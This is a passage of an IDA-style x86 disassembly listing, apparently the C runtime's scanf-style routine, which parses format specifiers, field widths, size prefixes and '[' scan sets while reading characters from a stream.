sub_4130FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413112	proc near		; CODE XREF: sub_413137+14Fp
					; sub_413137+2D3p

arg_0		= dword	ptr  4

		push	ebx

loc_413113:				; CODE XREF: sub_413112+1Fj
		mov	edx, [esp+4+arg_0]
		inc	dword ptr [esi]
		call	sub_4130FC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_413133
		movzx	eax, bl
		push	eax
		call	sub_4193A2
		test	eax, eax
		pop	ecx
		jnz	short loc_413113

loc_413133:				; CODE XREF: sub_413112+11j
		mov	eax, ebx
		pop	ebx
		retn
sub_413112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=18Ch


sub_413137	proc near		; DATA XREF: sub_40DB87+10o

var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= byte ptr -1DCh
var_1DB		= byte ptr -1DBh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C9		= byte ptr -1C9h
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A3		= byte ptr -1A3h
var_1A2		= byte ptr -1A2h
var_1A1		= byte ptr -1A1h
var_1A0		= dword	ptr -1A0h
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_198		= dword	ptr -198h
var_191		= byte ptr -191h
var_190		= dword	ptr -190h
var_189		= byte ptr -189h
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_24		= byte ptr -24h
var_19		= byte ptr -19h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-18Ch]
		sub	esp, 1FCh
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+18Ch+var_4], eax
		mov	eax, [ebp+18Ch+arg_C]
		push	ebx
		push	esi
		mov	esi, [ebp+18Ch+arg_0]
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+18Ch+arg_4]
		cmp	edi, ebx
		mov	[ebp+18Ch+var_1E4], eax
		lea	eax, [ebp+18Ch+var_184]
		mov	[ebp+18Ch+var_1A0], esi
		mov	[ebp+18Ch+var_1B4], edi
		mov	[ebp+18Ch+var_1B0], eax
		mov	[ebp+18Ch+var_1D8], 15Eh
		mov	[ebp+18Ch+var_1D0], ebx
		mov	[ebp+18Ch+var_1E8], ebx
		mov	[ebp+18Ch+var_190], ebx
		jnz	short loc_4131AC

loc_41318C:				; CODE XREF: sub_413137+77j
					; sub_413137+C6j ...
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_413D6C
; ---------------------------------------------------------------------------

loc_4131AC:				; CODE XREF: sub_413137+53j
		cmp	esi, ebx
		jz	short loc_41318C
		test	byte ptr [esi+0Ch], 40h
		jnz	loc_41324B
		push	esi
		call	sub_412CF4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4131F4
		push	esi
		call	sub_412CF4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_4131F4
		push	esi
		call	sub_412CF4
		sar	eax, 5
		push	esi
		lea	edi, ds:433CE0h[eax*4]
		call	sub_412CF4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_4131F9
; ---------------------------------------------------------------------------

loc_4131F4:				; CODE XREF: sub_413137+8Dj
					; sub_413137+99j
		mov	eax, offset dword_423BB8

loc_4131F9:				; CODE XREF: sub_413137+BBj
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_41318C
		push	esi
		call	sub_412CF4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_413239
		push	esi
		call	sub_412CF4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_413239
		push	esi
		call	sub_412CF4
		sar	eax, 5
		push	esi
		lea	edi, ds:433CE0h[eax*4]
		call	sub_412CF4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_41323E
; ---------------------------------------------------------------------------

loc_413239:				; CODE XREF: sub_413137+D2j
					; sub_413137+DEj
		mov	eax, offset dword_423BB8

loc_41323E:				; CODE XREF: sub_413137+100j
		test	byte ptr [eax+24h], 80h
		jnz	loc_41318C
		mov	edi, [ebp+18Ch+var_1B4]

loc_41324B:				; CODE XREF: sub_413137+7Dj
		push	[ebp+18Ch+arg_8]
		lea	ecx, [ebp+18Ch+var_1F8]
		call	sub_40AFFD
		mov	al, [edi]
		test	al, al
		mov	[ebp+18Ch+var_1A1], bl
		mov	[ebp+18Ch+var_188], ebx
		mov	[ebp+18Ch+var_1C8], ebx
		jz	loc_413D5C
		mov	edi, [ebp+18Ch+var_1B4]

loc_41326F:				; CODE XREF: sub_413137+BC2j
		movzx	eax, al
		push	eax
		call	sub_4193A2
		test	eax, eax
		pop	ecx
		jz	short loc_4132B0
		push	[ebp+18Ch+var_1A0]
		dec	[ebp+18Ch+var_188]
		lea	esi, [ebp+18Ch+var_188]
		call	sub_413112
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41329C
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_4193CB
		pop	ecx
		pop	ecx

loc_41329C:				; CODE XREF: sub_413137+158j
					; sub_413137+172j
		inc	edi
		movzx	eax, byte ptr [edi]
		push	eax
		call	sub_4193A2
		test	eax, eax
		pop	ecx
		jnz	short loc_41329C
		jmp	loc_413CF5
; ---------------------------------------------------------------------------

loc_4132B0:				; CODE XREF: sub_413137+144j
		cmp	byte ptr [edi],	25h
		jnz	loc_413C9D
		xor	eax, eax
		mov	[ebp+18Ch+var_1E0], eax
		mov	[ebp+18Ch+var_1C9], al
		mov	[ebp+18Ch+var_1A8], eax
		mov	[ebp+18Ch+var_1B8], eax
		mov	[ebp+18Ch+var_198], eax
		mov	[ebp+18Ch+var_1A4], al
		mov	[ebp+18Ch+var_1A3], al
		mov	[ebp+18Ch+var_199], al
		mov	[ebp+18Ch+var_189], al
		mov	[ebp+18Ch+var_1A2], al
		mov	[ebp+18Ch+var_191], al
		mov	[ebp+18Ch+var_19A], 1
		mov	[ebp+18Ch+var_1D4], eax
		xor	esi, esi

loc_4132E5:				; CODE XREF: sub_413137+279j
		inc	edi
		movzx	ebx, byte ptr [edi]
		movzx	eax, bl
		push	eax
		call	sub_4192AB
		test	eax, eax
		pop	ecx
		jz	short loc_41330C
		mov	eax, [ebp+18Ch+var_198]
		inc	[ebp+18Ch+var_1B8]
		imul	eax, 0Ah
		lea	eax, [eax+ebx-30h]
		mov	[ebp+18Ch+var_198], eax
		jmp	loc_4133AC
; ---------------------------------------------------------------------------

loc_41330C:				; CODE XREF: sub_413137+1BEj
		cmp	ebx, 4Eh
		jg	short loc_413382
		jz	loc_4133AC
		cmp	ebx, 2Ah
		jz	short loc_41337D
		cmp	ebx, 46h
		jz	loc_4133AC
		cmp	ebx, 49h
		jz	short loc_413334
		cmp	ebx, 4Ch
		jnz	short loc_413391
		inc	[ebp+18Ch+var_19A]
		jmp	short loc_4133AC
; ---------------------------------------------------------------------------

loc_413334:				; CODE XREF: sub_413137+1F1j
		mov	cl, [edi+1]
		cmp	cl, 36h
		jnz	short loc_413351
		lea	eax, [edi+2]
		cmp	byte ptr [eax],	34h
		jnz	short loc_413351

loc_413344:				; CODE XREF: sub_413137+265j
		inc	[ebp+18Ch+var_1D4]
		mov	edi, eax
		mov	[ebp+18Ch+var_1C0], esi
		mov	[ebp+18Ch+var_1BC], esi
		jmp	short loc_4133AC
; ---------------------------------------------------------------------------

loc_413351:				; CODE XREF: sub_413137+203j
					; sub_413137+20Bj
		cmp	cl, 33h
		jnz	short loc_413362
		lea	eax, [edi+2]
		cmp	byte ptr [eax],	32h
		jnz	short loc_413362
		mov	edi, eax
		jmp	short loc_4133AC
; ---------------------------------------------------------------------------

loc_413362:				; CODE XREF: sub_413137+21Dj
					; sub_413137+225j
		cmp	cl, 64h
		jz	short loc_4133AC
		cmp	cl, 69h
		jz	short loc_4133AC
		cmp	cl, 6Fh
		jz	short loc_4133AC
		cmp	cl, 78h
		jz	short loc_4133AC
		cmp	cl, 58h
		jnz	short loc_413391
		jmp	short loc_4133AC
; ---------------------------------------------------------------------------

loc_41337D:				; CODE XREF: sub_413137+1E3j
		inc	[ebp+18Ch+var_199]
		jmp	short loc_4133AC
; ---------------------------------------------------------------------------

loc_413382:				; CODE XREF: sub_413137+1D8j
		cmp	ebx, 68h
		jz	short loc_4133A6
		cmp	ebx, 6Ch
		jz	short loc_413396
		cmp	ebx, 77h
		jz	short loc_4133A1

loc_413391:				; CODE XREF: sub_413137+1F6j
					; sub_413137+242j
		inc	[ebp+18Ch+var_189]
		jmp	short loc_4133AC
; ---------------------------------------------------------------------------

loc_413396:				; CODE XREF: sub_413137+253j
		lea	eax, [edi+1]
		cmp	byte ptr [eax],	6Ch
		jz	short loc_413344
		inc	[ebp+18Ch+var_19A]

loc_4133A1:				; CODE XREF: sub_413137+258j
		inc	[ebp+18Ch+var_191]
		jmp	short loc_4133AC
; ---------------------------------------------------------------------------

loc_4133A6:				; CODE XREF: sub_413137+24Ej
		dec	[ebp+18Ch+var_19A]
		dec	[ebp+18Ch+var_191]

loc_4133AC:				; CODE XREF: sub_413137+1D0j
					; sub_413137+1DAj ...
		cmp	[ebp+18Ch+var_189], 0
		jz	loc_4132E5
		cmp	[ebp+18Ch+var_199], 0
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_4133CD
		mov	eax, [ebp+18Ch+var_1E4]
		mov	esi, [eax]
		mov	[ebp+18Ch+var_1FC], eax
		add	eax, 4
		mov	[ebp+18Ch+var_1E4], eax

loc_4133CD:				; CODE XREF: sub_413137+286j
		cmp	[ebp+18Ch+var_191], 0
		mov	[ebp+18Ch+var_1C4], esi
		mov	[ebp+18Ch+var_189], 0
		jnz	short loc_4133EC
		mov	al, [edi]
		cmp	al, 53h
		jz	short loc_4133E8
		cmp	al, 43h
		mov	[ebp+18Ch+var_191], 0FFh
		jnz	short loc_4133EC

loc_4133E8:				; CODE XREF: sub_413137+2A7j
		mov	[ebp+18Ch+var_191], 1

loc_4133EC:				; CODE XREF: sub_413137+2A1j
					; sub_413137+2AFj
		movzx	ebx, byte ptr [edi]
		or	ebx, 20h
		cmp	ebx, 6Eh
		mov	[ebp+18Ch+var_1AC], ebx
		jz	short loc_41342F
		cmp	ebx, 63h
		jz	short loc_413412
		cmp	ebx, 7Bh
		jz	short loc_413412
		push	[ebp+18Ch+var_1A0]
		lea	esi, [ebp+18Ch+var_188]
		call	sub_413112
		pop	ecx
		jmp	short loc_41341D
; ---------------------------------------------------------------------------

loc_413412:				; CODE XREF: sub_413137+2C6j
					; sub_413137+2CBj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC

loc_41341D:				; CODE XREF: sub_413137+2D9j
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+18Ch+var_190], eax
		jz	loc_413D29
		mov	esi, [ebp+18Ch+var_1C4]
		mov	edi, [ebp+18Ch+var_1B4]

loc_41342F:				; CODE XREF: sub_413137+2C1j
		mov	ecx, [ebp+18Ch+var_1B8]
		test	ecx, ecx
		jz	short loc_413440
		cmp	[ebp+18Ch+var_198], 0
		jz	loc_413D01

loc_413440:				; CODE XREF: sub_413137+2FDj
		cmp	ebx, 6Fh
		jg	loc_41384C
		jz	loc_413A77
		cmp	ebx, 63h
		jz	loc_41373E
		push	64h
		pop	eax
		cmp	ebx, eax
		jz	loc_413A77
		jle	loc_413876
		cmp	ebx, 67h
		jle	short loc_4134A6
		cmp	ebx, 69h
		jz	short loc_41348E
		cmp	ebx, 6Eh
		jnz	loc_413876
		cmp	[ebp+18Ch+var_199], 0
		mov	edi, [ebp+18Ch+var_188]
		jz	loc_413C71
		jmp	loc_413C91
; ---------------------------------------------------------------------------

loc_41348E:				; CODE XREF: sub_413137+33Aj
		mov	[ebp+18Ch+var_1AC], eax

loc_413491:				; CODE XREF: sub_413137+734j
		mov	ebx, [ebp+18Ch+var_190]
		cmp	ebx, 2Dh
		jnz	loc_41395F
		mov	[ebp+18Ch+var_1A3], 1
		jmp	loc_413964
; ---------------------------------------------------------------------------

loc_4134A6:				; CODE XREF: sub_413137+335j
		xor	ebx, ebx
		cmp	[ebp+18Ch+var_190], 2Dh
		jnz	short loc_4134B7
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [eax],	2Dh
		inc	ebx
		jmp	short loc_4134BD
; ---------------------------------------------------------------------------

loc_4134B7:				; CODE XREF: sub_413137+375j
		cmp	[ebp+18Ch+var_190], 2Bh
		jnz	short loc_4134CE

loc_4134BD:				; CODE XREF: sub_413137+37Ej
		dec	[ebp+18Ch+var_198]
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	[ebp+18Ch+var_190], eax

loc_4134CE:				; CODE XREF: sub_413137+384j
		cmp	[ebp+18Ch+var_1B8], 0
		jnz	short loc_4134D8
		or	[ebp+18Ch+var_198], 0FFFFFFFFh

loc_4134D8:				; CODE XREF: sub_413137+39Bj
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_413525
; ---------------------------------------------------------------------------

loc_4134DE:				; CODE XREF: sub_413137+3F7j
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_413530
		mov	al, byte ptr [ebp+18Ch+var_190]
		mov	ecx, [ebp+18Ch+var_1B0]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+ecx], al
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4130A8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413D29
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_413525:				; CODE XREF: sub_413137+3A5j
		push	eax
		call	sub_4192AB
		test	eax, eax
		pop	ecx
		jnz	short loc_4134DE

loc_413530:				; CODE XREF: sub_413137+3AFj
		mov	eax, [ebp+18Ch+var_1F8]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		cmp	al, byte ptr [ebp+18Ch+var_190]
		mov	[ebp+18Ch+var_1A4], al
		jnz	loc_4135E6
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_4135E6
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	ecx, [ebp+18Ch+var_1B0]
		mov	[ebp+18Ch+var_190], eax
		mov	al, [ebp+18Ch+var_1A4]
		mov	[ebx+ecx], al
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4130A8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413D29
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_4135DB
; ---------------------------------------------------------------------------

loc_413594:				; CODE XREF: sub_413137+4ADj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_4135E6
		mov	eax, [ebp+18Ch+var_1B0]
		mov	cl, byte ptr [ebp+18Ch+var_190]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+eax], cl
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4130A8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413D29
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_4135DB:				; CODE XREF: sub_413137+45Bj
		push	eax
		call	sub_4192AB
		test	eax, eax
		pop	ecx
		jnz	short loc_413594

loc_4135E6:				; CODE XREF: sub_413137+40Cj
					; sub_413137+41Aj ...
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_4136E6
		cmp	[ebp+18Ch+var_190], 65h
		jz	short loc_413600
		cmp	[ebp+18Ch+var_190], 45h
		jnz	loc_4136E6

loc_413600:				; CODE XREF: sub_413137+4BDj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_4136E6
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [ebx+eax], 65h
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4130A8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413D29
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		cmp	eax, 2Dh
		mov	[ebp+18Ch+var_190], eax
		jnz	short loc_41366B
		mov	eax, [ebp+18Ch+var_1B0]
		mov	byte ptr [ebx+eax], 2Dh
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		call	sub_4130A8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413D29
		jmp	short loc_413671
; ---------------------------------------------------------------------------

loc_41366B:				; CODE XREF: sub_413137+50Fj
		cmp	[ebp+18Ch+var_190], 2Bh
		jnz	short loc_41368E

loc_413671:				; CODE XREF: sub_413137+532j
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jnz	short loc_413680
		and	[ebp+18Ch+var_198], eax
		jmp	short loc_41368E
; ---------------------------------------------------------------------------

loc_413680:				; CODE XREF: sub_413137+542j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	[ebp+18Ch+var_190], eax

loc_41368E:				; CODE XREF: sub_413137+538j
					; sub_413137+547j
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_4136DB
; ---------------------------------------------------------------------------

loc_413694:				; CODE XREF: sub_413137+5ADj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_4136E6
		mov	eax, [ebp+18Ch+var_1B0]
		mov	cl, byte ptr [ebp+18Ch+var_190]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+eax], cl
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4130A8
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413D29
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_4136DB:				; CODE XREF: sub_413137+55Bj
		push	eax
		call	sub_4192AB
		test	eax, eax
		pop	ecx
		jnz	short loc_413694

loc_4136E6:				; CODE XREF: sub_413137+4B3j
					; sub_413137+4C3j ...
		dec	[ebp+18Ch+var_188]
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jz	short loc_4136FC
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_4193CB
		pop	ecx
		pop	ecx

loc_4136FC:				; CODE XREF: sub_413137+5B6j
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_413D29
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_413C91
		mov	eax, [ebp+18Ch+var_1B0]
		inc	[ebp+18Ch+var_1C8]
		lea	ecx, [ebp+18Ch+var_1F8]
		push	ecx
		push	eax
		push	[ebp+18Ch+var_1C4]
		mov	byte ptr [ebx+eax], 0
		movsx	eax, [ebp+18Ch+var_19A]
		dec	eax
		push	eax
		push	off_423F7C
		call	sub_40F674
		pop	ecx
		call	eax
		add	esp, 10h
		jmp	loc_413C91
; ---------------------------------------------------------------------------

loc_41373E:				; CODE XREF: sub_413137+31Bj
		test	ecx, ecx
		jnz	short loc_41374C
		inc	[ebp+18Ch+var_198]
		mov	[ebp+18Ch+var_1B8], 1

loc_41374C:				; CODE XREF: sub_413137+609j
					; sub_413137+723j
		cmp	[ebp+18Ch+var_191], 0
		jle	short loc_413756
		mov	[ebp+18Ch+var_1A2], 1

loc_413756:				; CODE XREF: sub_413137+619j
					; sub_413137+823j
		dec	[ebp+18Ch+var_188]
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		mov	edi, esi
		jz	short loc_41376E
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_4193CB
		pop	ecx
		pop	ecx

loc_41376E:				; CODE XREF: sub_413137+628j
					; sub_413137+8E6j ...
		cmp	[ebp+18Ch+var_1B8], 0
		jz	short loc_413782
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_413A3B

loc_413782:				; CODE XREF: sub_413137+63Bj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+18Ch+var_190], eax
		jz	loc_413A28
		cmp	ebx, 63h
		jz	short loc_4137E7
		cmp	ebx, 73h
		jnz	short loc_4137B6
		cmp	eax, 9
		jl	short loc_4137B1
		cmp	eax, 0Dh
		jle	loc_413A28

loc_4137B1:				; CODE XREF: sub_413137+66Fj
		cmp	eax, 20h
		jnz	short loc_4137E7

loc_4137B6:				; CODE XREF: sub_413137+66Aj
		cmp	ebx, 7Bh
		jnz	loc_413A28
		movsx	ebx, [ebp+18Ch+var_1A4]
		xor	edx, edx
		mov	ecx, eax
		and	ecx, 7
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+18Ch+var_24]
		xor	ecx, ebx
		test	edx, ecx
		mov	ebx, [ebp+18Ch+var_1AC]
		jz	loc_413A28

loc_4137E7:				; CODE XREF: sub_413137+665j
					; sub_413137+67Dj
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_413A22
		cmp	[ebp+18Ch+var_1A2], 0
		jz	loc_413A17
		mov	[ebp+18Ch+var_1DC], al
		movzx	eax, al
		push	eax
		call	sub_416CF6
		test	eax, eax
		pop	ecx
		jz	short loc_41381A
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	[ebp+18Ch+var_1DB], al

loc_41381A:				; CODE XREF: sub_413137+6D3j
		lea	eax, [ebp+18Ch+var_1F8]
		push	eax
		mov	eax, [ebp+18Ch+var_1F8]
		mov	[ebp+18Ch+var_1E8], 3Fh
		push	dword ptr [eax+0ACh]
		lea	eax, [ebp+18Ch+var_1DC]
		push	eax
		lea	eax, [ebp+18Ch+var_1E8]
		push	eax
		call	sub_4194E9
		mov	ax, word ptr [ebp+18Ch+var_1E8]
		add	esp, 10h
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	loc_413A1A
; ---------------------------------------------------------------------------

loc_41384C:				; CODE XREF: sub_413137+30Cj
		mov	eax, ebx
		sub	eax, 70h
		jz	loc_413A73
		sub	eax, 3
		jz	loc_41374C
		dec	eax
		dec	eax
		jz	loc_413A77
		sub	eax, 3
		jz	loc_413491
		sub	eax, 3
		jz	short loc_41389A

loc_413876:				; CODE XREF: sub_413137+32Cj
					; sub_413137+33Fj
		movzx	eax, byte ptr [edi]
		cmp	eax, [ebp+18Ch+var_190]
		jnz	loc_413D01
		dec	[ebp+18Ch+var_1A1]
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_413C91
		mov	eax, [ebp+18Ch+var_1FC]
		mov	[ebp+18Ch+var_1E4], eax
		jmp	loc_413C91
; ---------------------------------------------------------------------------

loc_41389A:				; CODE XREF: sub_413137+73Dj
		cmp	[ebp+18Ch+var_191], 0
		jle	short loc_4138A4
		mov	[ebp+18Ch+var_1A2], 1

loc_4138A4:				; CODE XREF: sub_413137+767j
		inc	edi
		cmp	byte ptr [edi],	5Eh
		mov	esi, edi
		jnz	short loc_4138B3
		lea	esi, [edi+1]
		mov	[ebp+18Ch+var_1A4], 0FFh

loc_4138B3:				; CODE XREF: sub_413137+773j
		push	20h
		lea	eax, [ebp+18Ch+var_24]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		cmp	byte ptr [esi],	5Dh
		jnz	short loc_4138D7
		mov	dl, 5Dh
		inc	esi
		mov	[ebp+18Ch+var_19], 20h
		jmp	short loc_413946
; ---------------------------------------------------------------------------

loc_4138D7:				; CODE XREF: sub_413137+792j
		mov	dl, [ebp+18Ch+var_1C9]
		jmp	short loc_413946
; ---------------------------------------------------------------------------

loc_4138DC:				; CODE XREF: sub_413137+813j
		inc	esi
		cmp	al, 2Dh
		jnz	short loc_413929
		test	dl, dl
		jz	short loc_413929
		mov	cl, [esi]
		cmp	cl, 5Dh
		jz	short loc_413929
		inc	esi
		cmp	dl, cl
		jnb	short loc_4138F5
		mov	al, cl
		jmp	short loc_4138F9
; ---------------------------------------------------------------------------

loc_4138F5:				; CODE XREF: sub_413137+7B8j
		mov	al, dl
		mov	dl, cl

loc_4138F9:				; CODE XREF: sub_413137+7BCj
		cmp	dl, al
		ja	short loc_413925
		sub	al, dl
		inc	al
		movzx	edi, dl
		movzx	edx, al

loc_413907:				; CODE XREF: sub_413137+7E9j
		mov	ecx, edi
		and	ecx, 7
		mov	eax, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+18Ch+var_24]
		or	[eax], bl
		inc	edi
		dec	edx
		jnz	short loc_413907
		mov	ebx, [ebp+18Ch+var_1AC]

loc_413925:				; CODE XREF: sub_413137+7C4j
		xor	dl, dl
		jmp	short loc_413946
; ---------------------------------------------------------------------------

loc_413929:				; CODE XREF: sub_413137+7A8j
					; sub_413137+7ACj ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+18Ch+var_24]
		or	[eax], bl
		mov	ebx, [ebp+18Ch+var_1AC]

loc_413946:				; CODE XREF: sub_413137+79Ej
					; sub_413137+7A3j ...
		mov	al, [esi]
		cmp	al, 5Dh
		jnz	short loc_4138DC
		test	al, al
		jz	loc_413D29
		mov	[ebp+18Ch+var_1B4], esi
		mov	esi, [ebp+18Ch+var_1C4]
		jmp	loc_413756
; ---------------------------------------------------------------------------

loc_41395F:				; CODE XREF: sub_413137+360j
		cmp	ebx, 2Bh
		jnz	short loc_413983

loc_413964:				; CODE XREF: sub_413137+36Aj
		dec	[ebp+18Ch+var_198]
		jnz	short loc_413973
		test	ecx, ecx
		jz	short loc_413973
		mov	[ebp+18Ch+var_189], 1
		jmp	short loc_413983
; ---------------------------------------------------------------------------

loc_413973:				; CODE XREF: sub_413137+830j
					; sub_413137+834j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx

loc_413983:				; CODE XREF: sub_413137+82Bj
					; sub_413137+83Aj
		cmp	ebx, 30h
		jnz	loc_413AA9
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_4130FC
		mov	ebx, eax
		cmp	bl, 78h
		mov	[ebp+18Ch+var_190], ebx
		jz	short loc_4139E8
		cmp	bl, 58h
		jz	short loc_4139E8
		cmp	[ebp+18Ch+var_1AC], 78h
		mov	[ebp+18Ch+var_1A8], 1
		jz	short loc_4139CD
		cmp	[ebp+18Ch+var_1B8], 0
		jz	short loc_4139C1
		dec	[ebp+18Ch+var_198]
		jnz	short loc_4139C1
		inc	[ebp+18Ch+var_189]

loc_4139C1:				; CODE XREF: sub_413137+880j
					; sub_413137+885j
		mov	[ebp+18Ch+var_1AC], 6Fh
		jmp	loc_413AA9
; ---------------------------------------------------------------------------

loc_4139CD:				; CODE XREF: sub_413137+87Aj
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4139E0
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_4193CB
		pop	ecx
		pop	ecx

